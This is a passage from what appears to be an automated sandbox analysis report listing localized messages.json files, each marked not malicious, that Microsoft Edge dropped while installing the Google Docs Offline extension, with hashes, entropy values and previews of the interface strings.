Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

